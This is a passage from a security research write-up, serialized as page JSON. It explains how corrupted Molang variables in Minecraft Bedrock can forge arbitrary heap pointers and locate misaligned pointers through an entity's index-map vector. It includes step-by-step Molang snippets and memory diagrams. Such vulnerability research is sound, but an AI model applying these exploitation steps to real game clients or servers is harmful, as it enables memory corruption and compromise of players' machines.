control these variables and can simply not update them during execution. However, we discovered other issues with this approach.",{"type":24,"tag":25,"props":153368,"children":153369},{},[153370],{"type":29,"value":153371},"As mentioned earlier, the only number type in Molang is a 32-bit float, which causes two major problems:",{"type":24,"tag":16422,"props":153373,"children":153374},{},[153375,153388],{"type":24,"tag":67,"props":153376,"children":153377},{},[153378,153380,153386],{"type":29,"value":153379},"The pointer increment is inconsistent because of ASLR. If the lower 32 bits of the address are larger than ",{"type":24,"tag":32,"props":153381,"children":153383},{"className":153382},[],[153384],{"type":29,"value":153385},"FLT_MAX",{"type":29,"value":153387},", the value becomes an invalid float causing the increment operation to fail.",{"type":24,"tag":67,"props":153389,"children":153390},{},[153391,153393,153398,153400,153405,153406,153411,153413,153418],{"type":29,"value":153392},"As noted before, during assignment, ",{"type":24,"tag":32,"props":153394,"children":153396},{"className":153395},[],[153397],{"type":29,"value":152353},{"type":29,"value":153399}," fields are copied, and the ",{"type":24,"tag":32,"props":153401,"children":153403},{"className":153402},[],[153404],{"type":29,"value":38870},{"type":29,"value":152443},{"type":24,"tag":32,"props":153407,"children":153409},{"className":153408},[],[153410],{"type":29,"value":55348},{"type":29,"value":153412},". Since our source ",{"type":24,"tag":32,"props":153414,"children":153416},{"className":153415},[],[153417],{"type":29,"value":152353},{"type":29,"value":153419}," (calculation rvalue) only has the lower 32 bits populated (due to the 32-bit float type), the upper 32 bits of the destination address are always erased.",{"type":24,"tag":25,"props":153421,"children":153422},{},[153423],{"type":29,"value":153424},"Because of these issues, this idea alone wouldn’t work. We needed to either adjust our approach or come up with an entirely new one.",{"type":24,"tag":18631,"props":153426,"children":153428},{"id":153427},"expanding-the-idea",[153429],{"type":29,"value":153430},"Expanding the Idea",{"type":24,"tag":25,"props":153432,"children":153433},{},[153434,153436,153441,153443,153448,153449,153454,153456,153461],{"type":29,"value":153435},"As mentioned earlier, the ",{"type":24,"tag":32,"props":153437,"children":153439},{"className":153438},[],[153440],{"type":29,"value":32495},{"type":29,"value":153442}," field of ",{"type":24,"tag":32,"props":153444,"children":153446},{"className":153445},[],[153447],{"type":29,"value":152353},{"type":29,"value":15183},{"type":24,"tag":32,"props":153450,"children":153452},{"className":153451},[],[153453],{"type":29,"value":57647},{"type":29,"value":153455},". During assignment, the upper 32 bits are not touched and therefore remain uninitialized. This can be observed in the debugger screenshot above - the 32 bits directly below the ",{"type":24,"tag":32,"props":153457,"children":153459},{"className":153458},[],[153460],{"type":29,"value":38870},{"type":29,"value":153462}," field remain unchanged before and after Molang execution.",{"type":24,"tag":25,"props":153464,"children":153465},{},[153466,153468,153473],{"type":29,"value":153467},"Because of this, we thought that we could corrupt two variables instead of just one. The plan was to modify the lower 32 bits of a variable pointer using one corrupted variable, and then restore the upper 32 bits with another corrupted variable pointing to the ",{"type":24,"tag":32,"props":153469,"children":153471},{"className":153470},[],[153472],{"type":29,"value":152461},{"type":29,"value":153474},"’s allocated buffer + 4.",{"type":24,"tag":25,"props":153476,"children":153477},{},[153478,153480,153485,153487,153492,153494,153499,153500,153506],{"type":29,"value":153479},"In the example below, ",{"type":24,"tag":32,"props":153481,"children":153483},{"className":153482},[],[153484],{"type":29,"value":152887},{"type":29,"value":153486}," points to ",{"type":24,"tag":32,"props":153488,"children":153490},{"className":153489},[],[153491],{"type":29,"value":152461},{"type":29,"value":153493},", while ",{"type":24,"tag":32,"props":153495,"children":153497},{"className":153496},[],[153498],{"type":29,"value":152901},{"type":29,"value":153486},{"type":24,"tag":32,"props":153501,"children":153503},{"className":153502},[],[153504],{"type":29,"value":153505},"MolangVariableMap + 4",{"type":29,"value":195},{"type":24,"tag":73,"props":153508,"children":153510},{"code":153509},"                         variable.f pointer     \n                                 |              \n                   +-------------+-------------+\n                   v                           v\n                                                \n                   +-------------+-------------+\n                   | a0 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^             ^             \n+-------------+     |             |             \n| variable.a  +-----+             |             \n+-------------+                   |             \n| variable.b  +-------------------+                                     \n+-------------+                                 \n|    . . .    |                                 \n",[153511],{"type":24,"tag":32,"props":153512,"children":153513},{"__ignoreMap":7},[153514],{"type":29,"value":153509},{"type":24,"tag":25,"props":153516,"children":153517},{},[153518,153520,153525,153526,153531,153533,153538,153540,153545,153547,153552],{"type":29,"value":153519},"Here, the ",{"type":24,"tag":32,"props":153521,"children":153523},{"className":153522},[],[153524],{"type":29,"value":38870},{"type":29,"value":153442},{"type":24,"tag":32,"props":153527,"children":153529},{"className":153528},[],[153530],{"type":29,"value":152887},{"type":29,"value":153532}," starts at the lower 32 bits of the ",{"type":24,"tag":32,"props":153534,"children":153536},{"className":153535},[],[153537],{"type":29,"value":152957},{"type":29,"value":153539}," pointer, while ",{"type":24,"tag":32,"props":153541,"children":153543},{"className":153542},[],[153544],{"type":29,"value":152901},{"type":29,"value":153546}," starts at the upper 32 bits. This means we can store the upper 32 bits of the ",{"type":24,"tag":32,"props":153548,"children":153550},{"className":153549},[],[153551],{"type":29,"value":152957},{"type":29,"value":153553}," pointer in a separate variable:",{"type":24,"tag":73,"props":153555,"children":153557},{"code":153556},"variable.saved_upper_32 = variable.b;\n",[153558],{"type":24,"tag":32,"props":153559,"children":153560},{"__ignoreMap":7},[153561],{"type":29,"value":153556},{"type":24,"tag":25,"props":153563,"children":153564},{},[153565],{"type":29,"value":153566},"Then we can modify the lower 32 bits of the pointer:",{"type":24,"tag":73,"props":153568,"children":153570},{"code":153569},"variable.a = variable.a + itof(0x8);\n",[153571],{"type":24,"tag":32,"props":153572,"children":153573},{"__ignoreMap":7},[153574],{"type":29,"value":153569},{"type":24,"tag":25,"props":153576,"children":153577},{},[153578],{"type":29,"value":153579},"After this operation, the upper 32 bits are cleared while the lower bits are adjusted:",{"type":24,"tag":73,"props":153581,"children":153583},{"code":153582},"                   +-------------+-------------+\n                   | a8 bb cc dd | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^             ^             \n+-------------+     |             |             \n| variable.a  +-----+             |             \n+-------------+                   |             \n| variable.b  +-------------------+                                     \n+-------------+                                 \n|    . . .    |                                 \n",[153584],{"type":24,"tag":32,"props":153585,"children":153586},{"__ignoreMap":7},[153587],{"type":29,"value":153582},{"type":24,"tag":25,"props":153589,"children":153590},{},[153591,153593,153598],{"type":29,"value":153592},"Since the 32 bits directly below the ",{"type":24,"tag":32,"props":153594,"children":153596},{"className":153595},[],[153597],{"type":29,"value":38870},{"type":29,"value":153599}," field remain untouched during assignment, we can simply restore the upper bits:",{"type":24,"tag":73,"props":153601,"children":153603},{"code":153602},"variable.b = variable.saved_upper_32;\n",[153604],{"type":24,"tag":32,"props":153605,"children":153606},{"__ignoreMap":7},[153607],{"type":29,"value":153602},{"type":24,"tag":25,"props":153609,"children":153610},{},[153611,153613,153618],{"type":29,"value":153612},"Now ",{"type":24,"tag":32,"props":153614,"children":153616},{"className":153615},[],[153617],{"type":29,"value":152957},{"type":29,"value":153619}," pointer is restored and we've incremented it by 8, achieving the desired state:",{"type":24,"tag":73,"props":153621,"children":153623},{"code":153622},"                   +-------------+-------------+\n                   | a8 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^             ^             \n+-------------+     |             |             \n| variable.a  +-----+             |             \n+-------------+                   |             \n| variable.b  +-------------------+                                    \n+-------------+                                 \n|    . . .    |                                 \n",[153624],{"type":24,"tag":32,"props":153625,"children":153626},{"__ignoreMap":7},[153627],{"type":29,"value":153622},{"type":24,"tag":25,"props":153629,"children":153630},{},[153631,153633,153638],{"type":29,"value":153632},"This bypasses the issue of the upper 32 bits being cleared, but raises another question: how do we find a pointer to ",{"type":24,"tag":32,"props":153634,"children":153636},{"className":153635},[],[153637],{"type":29,"value":153505},{"type":29,"value":153639}," on the heap?",{"type":24,"tag":25,"props":153641,"children":153642},{},[153643,153645,153650,153652,153658],{"type":29,"value":153644},"Additionally, adding 8 to ",{"type":24,"tag":32,"props":153646,"children":153648},{"className":153647},[],[153649],{"type":29,"value":152887},{"type":29,"value":153651}," in the example above wouldn’t work because ",{"type":24,"tag":32,"props":153653,"children":153655},{"className":153654},[],[153656],{"type":29,"value":153657},"0xddccbba0",{"type":29,"value":153659}," is not a valid float. So the first issue still remains unresolved.",{"type":24,"tag":18631,"props":153661,"children":153663},{"id":153662},"the-final-approach",[153664],{"type":29,"value":153665},"The Final Approach",{"type":24,"tag":25,"props":153667,"children":153668},{},[153669,153671,153676,153678,153684],{"type":29,"value":153670},"We realized that instead of having the second pointer at ",{"type":24,"tag":32,"props":153672,"children":153674},{"className":153673},[],[153675],{"type":29,"value":153505},{"type":29,"value":153677},", we could instead have it at ",{"type":24,"tag":32,"props":153679,"children":153681},{"className":153680},[],[153682],{"type":29,"value":153683},"MolangVariableMap + 2",{"type":29,"value":153685},", which would resolve both of our issues.",{"type":24,"tag":25,"props":153687,"children":153688},{},[153689,153691,153696,153697,153702],{"type":29,"value":153690},"Let’s revisit the previous example, but this time ",{"type":24,"tag":32,"props":153692,"children":153694},{"className":153693},[],[153695],{"type":29,"value":152901},{"type":29,"value":153486},{"type":24,"tag":32,"props":153698,"children":153700},{"className":153699},[],[153701],{"type":29,"value":153683},{"type":29,"value":195},{"type":24,"tag":73,"props":153704,"children":153706},{"code":153705},"                   +-------------+-------------+\n                   | a0 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                             \n+-------------+                                 \n|    . . .    |                                 \n",[153707],{"type":24,"tag":32,"props":153708,"children":153709},{"__ignoreMap":7},[153710],{"type":29,"value":153705},{"type":24,"tag":25,"props":153712,"children":153713},{},[153714,153716,153721],{"type":29,"value":153715},"With this setup, we can calculate any address relative to ",{"type":24,"tag":32,"props":153717,"children":153719},{"className":153718},[],[153720],{"type":29,"value":152957},{"type":29,"value":153722}," by first saving the upper 48 bits of the address:",{"type":24,"tag":73,"props":153724,"children":153726},{"code":153725},"variable.saved_upper_48 = variable.b;\n",[153727],{"type":24,"tag":32,"props":153728,"children":153729},{"__ignoreMap":7},[153730],{"type":29,"value":153725},{"type":24,"tag":25,"props":153732,"children":153733},{},[153734,153735,153741,153743,153749],{"type":29,"value":129363},{"type":24,"tag":32,"props":153736,"children":153738},{"className":153737},[],[153739],{"type":29,"value":153740},"variable.saved_upper_48",{"type":29,"value":153742}," holds the value ",{"type":24,"tag":32,"props":153744,"children":153746},{"className":153745},[],[153747],{"type":29,"value":153748},"0x1c80ddcc",{"type":29,"value":161},{"type":24,"tag":25,"props":153751,"children":153752},{},[153753],{"type":29,"value":153754},"To fix our earlier problem of being unable to increment invalid float values, we can simply clear the upper 48 bits:",{"type":24,"tag":73,"props":153756,"children":153758},{"code":153757},"variable.b = 0;\n",[153759],{"type":24,"tag":32,"props":153760,"children":153761},{"__ignoreMap":7},[153762],{"type":29,"value":153757},{"type":24,"tag":25,"props":153764,"children":153765},{},[153766],{"type":29,"value":153767},"Resulting in the following state:",{"type":24,"tag":73,"props":153769,"children":153771},{"code":153770},"                   +-------------+-------------+\n                   | a0 bb 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                            \n+-------------+                                 \n|    . . .    |                                 \n",[153772],{"type":24,"tag":32,"props":153773,"children":153774},{"__ignoreMap":7},[153775],{"type":29,"value":153770},{"type":24,"tag":25,"props":153777,"children":153778},{},[153779,153781,153786,153788,153794,153796,153801],{"type":29,"value":153780},"Now, the value of ",{"type":24,"tag":32,"props":153782,"children":153784},{"className":153783},[],[153785],{"type":29,"value":152887},{"type":29,"value":153787}," only spans 16 bits (",{"type":24,"tag":32,"props":153789,"children":153791},{"className":153790},[],[153792],{"type":29,"value":153793},"0xbba0",{"type":29,"value":153795}," specifically), which is always a valid float since it’s far below ",{"type":24,"tag":32,"props":153797,"children":153799},{"className":153798},[],[153800],{"type":29,"value":153385},{"type":29,"value":161},{"type":24,"tag":25,"props":153803,"children":153804},{},[153805,153807,153812],{"type":29,"value":153806},"We can now safely adjust the lower 16 bits of the pointer by incrementing ",{"type":24,"tag":32,"props":153808,"children":153810},{"className":153809},[],[153811],{"type":29,"value":152887},{"type":29,"value":195},{"type":24,"tag":73,"props":153814,"children":153815},{"code":153569},[153816],{"type":24,"tag":32,"props":153817,"children":153818},{"__ignoreMap":7},[153819],{"type":29,"value":153569},{"type":24,"tag":25,"props":153821,"children":153822},{},[153823],{"type":29,"value":153824},"Which results in:",{"type":24,"tag":73,"props":153826,"children":153828},{"code":153827},"                   +-------------+-------------+\n                   | a8 bb 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                            \n+-------------+                                 \n|    . . .    |                                 \n",[153829],{"type":24,"tag":32,"props":153830,"children":153831},{"__ignoreMap":7},[153832],{"type":29,"value":153827},{"type":24,"tag":25,"props":153834,"children":153835},{},[153836],{"type":29,"value":153837},"If we only wanted to increment the pointer by 8, we could finish by restoring the upper 48 bits:",{"type":24,"tag":73,"props":153839,"children":153841},{"code":153840},"variable.b = variable.saved_upper_48;\n",[153842],{"type":24,"tag":32,"props":153843,"children":153844},{"__ignoreMap":7},[153845],{"type":29,"value":153840},{"type":24,"tag":25,"props":153847,"children":153848},{},[153849],{"type":29,"value":153850},"Yielding a valid pointer again:",{"type":24,"tag":73,"props":153852,"children":153854},{"code":153853},"                   +-------------+-------------+\n                   | a8 bb cc dd | 80 1c 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                                             \n+-------------+                                 \n|    . . .    |                                 \n",[153855],{"type":24,"tag":32,"props":153856,"children":153857},{"__ignoreMap":7},[153858],{"type":29,"value":153853},{"type":24,"tag":25,"props":153860,"children":153861},{},[153862],{"type":29,"value":153863},"However, if we wanted to increment the pointer by a value larger than 16 bits can represent, we would continue by first saving the adjusted lower 16 bits:",{"type":24,"tag":73,"props":153865,"children":153867},{"code":153866},"variable.saved_adjusted_lower_16 = variable.a;\n",[153868],{"type":24,"tag":32,"props":153869,"children":153870},{"__ignoreMap":7},[153871],{"type":29,"value":153866},{"type":24,"tag":25,"props":153873,"children":153874},{},[153875],{"type":29,"value":153876},"Next, we need to extract the middle and upper 16 bits of the address. We start by restoring the previously saved upper 48 bits:",{"type":24,"tag":73,"props":153878,"children":153880},{"code":153879},"variable.a = variable.saved_upper_48;\n",[153881],{"type":24,"tag":32,"props":153882,"children":153883},{"__ignoreMap":7},[153884],{"type":29,"value":153879},{"type":24,"tag":25,"props":153886,"children":153887},{},[153888],{"type":29,"value":153889},"This produces the following state:",{"type":24,"tag":73,"props":153891,"children":153893},{"code":153892},"                   +-------------+-------------+\n                   | cc dd 80 1c | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    |                                 \n",[153894],{"type":24,"tag":32,"props":153895,"children":153896},{"__ignoreMap":7},[153897],{"type":29,"value":153892},{"type":24,"tag":25,"props":153899,"children":153900},{},[153901,153903,153908,153910,153916,153918,153924,153926,153931,153933,153938],{"type":29,"value":153902},"As shown, ",{"type":24,"tag":32,"props":153904,"children":153906},{"className":153905},[],[153907],{"type":29,"value":152901},{"type":29,"value":153909}," now contains the upper 16 bits of the address (",{"type":24,"tag":32,"props":153911,"children":153913},{"className":153912},[],[153914],{"type":29,"value":153915},"0x1c80",{"type":29,"value":153917},"), which we can store as ",{"type":24,"tag":32,"props":153919,"children":153921},{"className":153920},[],[153922],{"type":29,"value":153923},"variable.saved_upper_16 = variable.b",{"type":29,"value":153925},". Meanwhile, ",{"type":24,"tag":32,"props":153927,"children":153929},{"className":153928},[],[153930],{"type":29,"value":152887},{"type":29,"value":153932}," contains both the middle and upper 16 bits. To isolate the middle bits, we simply clear ",{"type":24,"tag":32,"props":153934,"children":153936},{"className":153935},[],[153937],{"type":29,"value":152901},{"type":29,"value":195},{"type":24,"tag":73,"props":153940,"children":153941},{"code":153757},[153942],{"type":24,"tag":32,"props":153943,"children":153944},{"__ignoreMap":7},[153945],{"type":29,"value":153757},{"type":24,"tag":25,"props":153947,"children":153948},{},[153949],{"type":29,"value":153950},"Leaving us with:",{"type":24,"tag":73,"props":153952,"children":153954},{"code":153953},"                   +-------------+-------------+\n                   | cc dd 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    |                                 \n",[153955],{"type":24,"tag":32,"props":153956,"children":153957},{"__ignoreMap":7},[153958],{"type":29,"value":153953},{"type":24,"tag":25,"props":153960,"children":153961},{},[153962],{"type":29,"value":153963},"We can now save the middle 16 bits:",{"type":24,"tag":73,"props":153965,"children":153967},{"code":153966},"variable.saved_middle_16 = variable.a;\n",[153968],{"type":24,"tag":32,"props":153969,"children":153970},{"__ignoreMap":7},[153971],{"type":29,"value":153966},{"type":24,"tag":25,"props":153973,"children":153974},{},[153975],{"type":29,"value":153976},"At this point, we have:",{"type":24,"tag":73,"props":153978,"children":153980},{"code":153979},"variable.saved_adjusted_lower_16 = 0xbba8\nvariable.saved_middle_16 = 0xddcc\nvariable.saved_upper_16 = 0x1c80\n",[153981],{"type":24,"tag":32,"props":153982,"children":153983},{"__ignoreMap":7},[153984],{"type":29,"value":153979},{"type":24,"tag":25,"props":153986,"children":153987},{},[153988],{"type":29,"value":153989},"All three parts are valid float values, ensuring deterministic calculations.",{"type":24,"tag":25,"props":153991,"children":153992},{},[153993],{"type":29,"value":153994},"If we needed to increment the pointer by more than the maximum 16-bit value, we would simply increment the middle and upper parts accordingly:",{"type":24,"tag":73,"props":153996,"children":153998},{"code":153997},"variable.saved_adjusted_middle_16 = variable.saved_middle_16 + itof(0x1);\nvariable.saved_adjusted_upper_16 = variable.saved_upper_16 + itof(0x1);\n",[153999],{"type":24,"tag":32,"props":154000,"children":154001},{"__ignoreMap":7},[154002],{"type":29,"value":153997},{"type":24,"tag":25,"props":154004,"children":154005},{},[154006],{"type":29,"value":154007},"After modifying the three 16-bit parts, we can reconstruct the full pointer by reversing the extraction process. We start by forging the upper 48 bits:",{"type":24,"tag":73,"props":154009,"children":154011},{"code":154010},"variable.a = variable.saved_adjusted_middle_16;\n",[154012],{"type":24,"tag":32,"props":154013,"children":154014},{"__ignoreMap":7},[154015],{"type":29,"value":154010},{"type":24,"tag":25,"props":154017,"children":154018},{},[154019,154021,154026,154027,154033,154034,154040],{"type":29,"value":154020},"Setting ",{"type":24,"tag":32,"props":154022,"children":154024},{"className":154023},[],[154025],{"type":29,"value":152887},{"type":29,"value":56490},{"type":24,"tag":32,"props":154028,"children":154030},{"className":154029},[],[154031],{"type":29,"value":154032},"0xddcd",{"type":29,"value":223},{"type":24,"tag":32,"props":154035,"children":154037},{"className":154036},[],[154038],{"type":29,"value":154039},"0xddcc + 1",{"type":29,"value":154041},"), and then:",{"type":24,"tag":73,"props":154043,"children":154045},{"code":154044},"variable.b = variable.saved_adjusted_upper_16;\n",[154046],{"type":24,"tag":32,"props":154047,"children":154048},{"__ignoreMap":7},[154049],{"type":29,"value":154044},{"type":24,"tag":25,"props":154051,"children":154052},{},[154053,154055,154060,154062,154068,154069,154075],{"type":29,"value":154054},"Resulting in ",{"type":24,"tag":32,"props":154056,"children":154058},{"className":154057},[],[154059],{"type":29,"value":152901},{"type":29,"value":154061}," value becoming ",{"type":24,"tag":32,"props":154063,"children":154065},{"className":154064},[],[154066],{"type":29,"value":154067},"0x1c81",{"type":29,"value":223},{"type":24,"tag":32,"props":154070,"children":154072},{"className":154071},[],[154073],{"type":29,"value":154074},"0x1c80 + 1",{"type":29,"value":23696},{"type":24,"tag":73,"props":154077,"children":154079},{"code":154078},"                   +-------------+-------------+\n                   | cd dd 81 1c | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    | \n",[154080],{"type":24,"tag":32,"props":154081,"children":154082},{"__ignoreMap":7},[154083],{"type":29,"value":154078},{"type":24,"tag":25,"props":154085,"children":154086},{},[154087],{"type":29,"value":154088},"Now we save the adjusted upper 48 bits:",{"type":24,"tag":73,"props":154090,"children":154092},{"code":154091},"variable.saved_adjusted_upper_48 = variable.a;\n",[154093],{"type":24,"tag":32,"props":154094,"children":154095},{"__ignoreMap":7},[154096],{"type":29,"value":154091},{"type":24,"tag":25,"props":154098,"children":154099},{},[154100],{"type":29,"value":154101},"Finally, we attach the lower 16 bits:",{"type":24,"tag":73,"props":154103,"children":154105},{"code":154104},"variable.a = variable.saved_adjusted_lower_16;\n",[154106],{"type":24,"tag":32,"props":154107,"children":154108},{"__ignoreMap":7},[154109],{"type":29,"value":154104},{"type":24,"tag":73,"props":154111,"children":154113},{"code":154112},"                   +-------------+-------------+\n                   | a8 bb 00 00 | 00 00 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    | \n",[154114],{"type":24,"tag":32,"props":154115,"children":154116},{"__ignoreMap":7},[154117],{"type":29,"value":154112},{"type":24,"tag":25,"props":154119,"children":154120},{},[154121],{"type":29,"value":154122},"And by setting:",{"type":24,"tag":73,"props":154124,"children":154126},{"code":154125},"variable.b = variable.saved_adjusted_upper_48;\n",[154127],{"type":24,"tag":32,"props":154128,"children":154129},{"__ignoreMap":7},[154130],{"type":29,"value":154125},{"type":24,"tag":25,"props":154132,"children":154133},{},[154134],{"type":29,"value":154135},"We forge the final adjusted pointer:",{"type":24,"tag":73,"props":154137,"children":154139},{"code":154138},"                   +-------------+-------------+\n                   | a8 bb cd dd | 81 1c 00 00 |\n                   +-------------+-------------+\n                    ^     ^                     \n+-------------+     |     |                     \n| variable.a  +-----+     |                     \n+-------------+           |                     \n| variable.b  +-----------+                     \n+-------------+                                 \n|    . . .    | \n",[154140],{"type":24,"tag":32,"props":154141,"children":154142},{"__ignoreMap":7},[154143],{"type":29,"value":154138},{"type":24,"tag":18531,"props":154145,"children":154146},{},[],{"type":24,"tag":25,"props":154148,"children":154149},{},[154150,154152,154157],{"type":29,"value":154151},"With this, we now have a method to calculate any pointer we want. However, the previous question still remains: how do we find a pointer to ",{"type":24,"tag":32,"props":154153,"children":154155},{"className":154154},[],[154156],{"type":29,"value":153683},{"type":29,"value":153639},{"type":24,"tag":25,"props":154159,"children":154160},{},[154161,154163,154168,154170,154175,154177,154183,154185,154190],{"type":29,"value":154162},"Eventually, we realized that we don’t necessarily need a pointer to ",{"type":24,"tag":32,"props":154164,"children":154166},{"className":154165},[],[154167],{"type":29,"value":153683},{"type":29,"value":154169},". Instead, we need any two pointers on the heap - one pointing to ",{"type":24,"tag":32,"props":154171,"children":154173},{"className":154172},[],[154174],{"type":29,"value":30438},{"type":29,"value":154176}," and the other to ",{"type":24,"tag":32,"props":154178,"children":154180},{"className":154179},[],[154181],{"type":29,"value":154182},"addr + 2",{"type":29,"value":154184}," (as long as ",{"type":24,"tag":32,"props":154186,"children":154188},{"className":154187},[],[154189],{"type":29,"value":30438},{"type":29,"value":154191}," lies within a writable region). The idea is to use these two pointers as a workspace where we can split, manipulate, and reconstruct a pointer.",{"type":24,"tag":25,"props":154193,"children":154194},{},[154195,154197,154202,154203,154208],{"type":29,"value":154196},"In this case, we need to corrupt an index of an additional (third) variable and make it index the ",{"type":24,"tag":32,"props":154198,"children":154200},{"className":154199},[],[154201],{"type":29,"value":149657},{"type":29,"value":153442},{"type":24,"tag":32,"props":154204,"children":154206},{"className":154205},[],[154207],{"type":29,"value":152461},{"type":29,"value":154209}," - once the new pointer is forged we can use this variable to assign it the forged pointer:",{"type":24,"tag":73,"props":154211,"children":154213},{"code":154212},"variable.corrupted_var_map_ptr = variable.a;\n",[154214],{"type":24,"tag":32,"props":154215,"children":154216},{"__ignoreMap":7},[154217],{"type":29,"value":154212},{"type":24,"tag":25,"props":154219,"children":154220},{},[154221,154223,154228,154230,154236],{"type":29,"value":154222},"As mentioned earlier, this operation copies the entire 64-bit ",{"type":24,"tag":32,"props":154224,"children":154226},{"className":154225},[],[154227],{"type":29,"value":38870},{"type":29,"value":154229}," field (in this case, the reconstructed pointer) and writes it to ",{"type":24,"tag":32,"props":154231,"children":154233},{"className":154232},[],[154234],{"type":29,"value":154235},"variable.corrupted_var_map_ptr",{"type":29,"value":154237},", even though the type itself is only a 32-bit float.",{"type":24,"tag":18631,"props":154239,"children":154241},{"id":154240},"finding-misaligned-pointers",[154242],{"type":29,"value":154243},"Finding Misaligned Pointers",{"type":24,"tag":25,"props":154245,"children":154246},{},[154247,154249,154254,154255,154261],{"type":29,"value":154248},"This step requires a heap-sprayable structure that contains two pointers separated by two bytes (",{"type":24,"tag":32,"props":154250,"children":154252},{"className":154251},[],[154253],{"type":29,"value":13694},{"type":29,"value":2287},{"type":24,"tag":32,"props":154256,"children":154258},{"className":154257},[],[154259],{"type":29,"value":154260},"ptr + 2",{"type":29,"value":154262},"). Fortunately, we didn’t have to look far as we were already familiar with a suitable structure.",{"type":24,"tag":25,"props":154264,"children":154265},{},[154266,154271,154272,154277,154279,154284,154286,154291,154293,154298,154300,154305,154307,154313,154314,154319],{"type":24,"tag":32,"props":154267,"children":154269},{"className":154268},[],[154270],{"type":29,"value":152637},{"type":29,"value":15183},{"type":24,"tag":32,"props":154273,"children":154275},{"className":154274},[],[154276],{"type":29,"value":152660},{"type":29,"value":154278}," found inside every entity object. As noted earlier, a ",{"type":24,"tag":32,"props":154280,"children":154282},{"className":154281},[],[154283],{"type":29,"value":152491},{"type":29,"value":154285}," contains three pointers: ",{"type":24,"tag":32,"props":154287,"children":154289},{"className":154288},[],[154290],{"type":29,"value":149657},{"type":29,"value":154292}," (the start of the allocated buffer), ",{"type":24,"tag":32,"props":154294,"children":154296},{"className":154295},[],[154297],{"type":29,"value":8885},{"type":29,"value":154299}," (just past the last element) and ",{"type":24,"tag":32,"props":154301,"children":154303},{"className":154302},[],[154304],{"type":29,"value":152590},{"type":29,"value":154306}," (the end of the allocated buffer). Because the element type is ",{"type":24,"tag":32,"props":154308,"children":154310},{"className":154309},[],[154311],{"type":29,"value":154312},"uint16_t",{"type":29,"value":101830},{"type":24,"tag":32,"props":154315,"children":154317},{"className":154316},[],[154318],{"type":29,"value":8885},{"type":29,"value":154320}," pointer advances by 2 bytes each time a new element is added.",{"type":24,"tag":25,"props":154322,"children":154323},{},[154324,154326,154331,154333,154339],{"type":29,"value":154325},"We can make the ",{"type":24,"tag":32,"props":154327,"children":154329},{"className":154328},[],[154330],{"type":29,"value":8885},{"type":29,"value":154332}," pointer equal to ",{"type":24,"tag":32,"props":154334,"children":154336},{"className":154335},[],[154337],{"type":29,"value":154338},"cap - 2",{"type":29,"value":154340}," by adding elements until the vector is one element short of full. In practice this is done by filling the entity with previously unseen variables.",{"type":24,"tag":73,"props":154342,"children":154344},{"code":154343},"                         +-> +---------------+\n                         |   |               |\n                         |   |     . . .     |\n                         |   |               |\n                         |   +-------+-------+\n                         |   | 00 f0 | 00 f1 |\n                         |   +-------+-------+\n                         |   | 00 f2 | 00 f3 |\n                         |   +-------+-------+\n  std::vector\u003Cuint16_t>  |   | 00 f4 | 00 f5 |\n     MolangIndexMap      |   +-------+-------+\n    +----------------+   |   | 00 f6 | 00 00 |\nbuf | 0x1c54f7a13200 | --+   +-------+-------+\n    +----------------+               ^       ^\nlen | 0x1c54f7a13306 | --------------+       |\n    +----------------+                       |\ncap | 0x1c54f7a13308 | ----------------------+\n    +----------------+                        \n",[154345],{"type":24,"tag":32,"props":154346,"children":154347},{"__ignoreMap":7},[154348],{"type":29,"value":154343},{"type":24,"tag":18531,"props":154350,"children":154351},{},[],{"type":24,"tag":25,"props":154353,"children":154354},{},[154355,154357,154362,154364,154369,154371,154376,154378,154383,154384,154389],{"type":29,"value":154356},"To summarize - the final setup will require overwriting indices of three variables: one that would index the ",{"type":24,"tag":32,"props":154358,"children":154360},{"className":154359},[],[154361],{"type":29,"value":149657},{"type":29,"value":154363}," pointer of ",{"type":24,"tag":32,"props":154365,"children":154367},{"className":154366},[],[154368],{"type":29,"value":152461},{"type":29,"value":154370}," in the entity object above, one that would index ",{"type":24,"tag":32,"props":154372,"children":154374},{"className":154373},[],[154375],{"type":29,"value":8885},{"type":29,"value":154377}," and the final ",{"type":24,"tag":32,"props":154379,"children":154381},{"className":154380},[],[154382],{"type":29,"value":152590},{"type":29,"value":154363},{"type":24,"tag":32,"props":154385,"children":154387},{"className":154386},[],[154388],{"type":29,"value":152637},{"type":29,"value":154390}," also in the same entity object above.",{"type":24,"tag":25,"props":154392,"children":154393},{},[154394,154396,154402,154403,154409,154411,154416,154417,154422,154424,154429,154431,154436,154437,154442,154444,154449],{"type":29,"value":154395},"The corrupted variables ",{"type":24,"tag":32,"props":154397,"children":154399},{"className":154398},[],[154400],{"type":29,"value":154401},"variable.corrupted_len_ptr",{"type":29,"value":2287},{"type":24,"tag":32,"props":154404,"children":154406},{"className":154405},[],[154407],{"type":29,"value":154408},"variable.corrupted_cap_ptr",{"type":29,"value":154410}," point to 